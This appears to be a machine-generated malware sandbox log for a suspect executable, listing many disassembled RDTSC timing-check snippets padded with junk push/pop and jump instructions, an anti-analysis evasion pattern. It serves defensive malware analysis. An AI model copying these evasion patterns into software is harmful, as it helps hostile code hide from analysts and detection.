Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 424A13 second address: 424A63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5A95268F23h 0x00000008 jmp 00007F5A95268F24h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F5A95268F26h 0x00000019 push esi 0x0000001a pop esi 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 424A63 second address: 424A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 427F66 second address: 427F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 427F6A second address: 427F88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4280E1 second address: 4280E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4280E5 second address: 4280E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4280E9 second address: 4280F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F5A95268F16h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4280F9 second address: 4280FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 428249 second address: 42827E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5A95268F1Ah 0x00000008 jng 00007F5A95268F18h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007F5A95268F24h 0x00000018 push ecx 0x00000019 push esi 0x0000001a pop esi 0x0000001b pushad 0x0000001c popad 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42827E second address: 428282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42854C second address: 428552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42E609 second address: 42E627 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5A952DFC6Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c je 00007F5A952DFC66h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42E627 second address: 42E62B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42E62B second address: 42E641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5A952DFC66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F5A952DFC66h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42E641 second address: 42E645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42E645 second address: 42E67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F5A952DFC77h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007F5A952DFC71h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42E67B second address: 42E68A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F1Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42E964 second address: 42E97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5A952DFC66h 0x0000000a jl 00007F5A952DFC66h 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42E97A second address: 42E9AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A95268F26h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5A95268F28h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42EC80 second address: 42EC84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42EC84 second address: 42EC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jp 00007F5A95268F16h 0x0000000f jo 00007F5A95268F16h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42EF91 second address: 42EFA0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5A952DFC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42F21E second address: 42F23A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5A95268F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5A95268F1Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42FDB8 second address: 42FDC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42FDC2 second address: 42FDC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42FDC6 second address: 42FDD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 42FDD4 second address: 42FDDE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5A95268F16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 434BBD second address: 434BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 434BC3 second address: 434BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b jc 00007F5A95268F16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 434BD4 second address: 434BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 434BD8 second address: 434BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4378DA second address: 4378F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jns 00007F5A952DFC68h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 jns 00007F5A952DFC66h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 437BCA second address: 437BD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jbe 00007F5A95268F16h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 437BD7 second address: 437BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5A952DFC6Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 437FA8 second address: 437FBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5A95268F1Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 43821E second address: 438222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4413D7 second address: 4413F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4413F8 second address: 4413FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4413FE second address: 44140C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5A95268F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 43FA06 second address: 43FA28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5A952DFC79h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 43FA28 second address: 43FA2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 44125A second address: 441269 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5A952DFC66h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 441269 second address: 44126F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 43F1E6 second address: 43F211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A952DFC6Eh 0x00000009 jmp 00007F5A952DFC74h 0x0000000e popad 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 43F211 second address: 43F21B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F5A95268F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4437E6 second address: 4437F0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5A952DFC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4437F0 second address: 443827 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jmp 00007F5A95268F26h 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 443827 second address: 443836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A952DFC6Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 443836 second address: 44383A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 44383A second address: 443840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 447F39 second address: 447F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 447F3D second address: 447F41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 447F41 second address: 447F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 js 00007F5A95268F16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 447F52 second address: 447F6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5A952DFC74h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 447F6E second address: 447F83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F5A95268F1Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 447F83 second address: 447FB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F5A952DFC6Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 447FB0 second address: 447FB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 44AA93 second address: 44AA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 44AA9E second address: 44AAA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 44AAA2 second address: 44AABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F5A952DFC66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007F5A952DFC6Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 44AABF second address: 44AAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 44ADAC second address: 44ADD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC76h 0x00000007 jmp 00007F5A952DFC6Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f jg 00007F5A952DFC66h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 44ADD9 second address: 44ADDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 44ADDE second address: 44ADFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5A952DFC77h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 44ADFA second address: 44AE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 44AE00 second address: 44AE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F5A952DFC66h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 457F49 second address: 457F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 457F4D second address: 457F71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F5A952DFC68h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 457982 second address: 457988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 457988 second address: 457996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5A952DFC66h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 45A2F4 second address: 45A2FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 45A2FA second address: 45A2FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 45A2FE second address: 45A304 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 45A304 second address: 45A30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5A952DFC66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 45A30E second address: 45A31C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F5A95268F16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 45BD1A second address: 45BD1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 45BD1E second address: 45BD2C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F5A95268F2Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 45BD2C second address: 45BD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A952DFC73h 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c jnp 00007F5A952DFC66h 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 46AAC0 second address: 46AACA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 46AACA second address: 46AACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 46AACE second address: 46AAE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F1Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4715E4 second address: 4715E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4715E8 second address: 4715EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4715EE second address: 4715F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4715F6 second address: 4715FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 471B98 second address: 471B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 471B9C second address: 471BA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 471BA0 second address: 471BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4773F9 second address: 4773FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4773FD second address: 477412 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5A952DFC6Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4976C0 second address: 4976C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4976C6 second address: 4976DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5A952DFC71h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 4976DE second address: 4976E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 38A119 second address: 38A11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 38A11F second address: 38A123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 38A123 second address: 38A12D instructions: 0x00000000 rdtsc 0x00000002 je 00007F5A952DFC66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
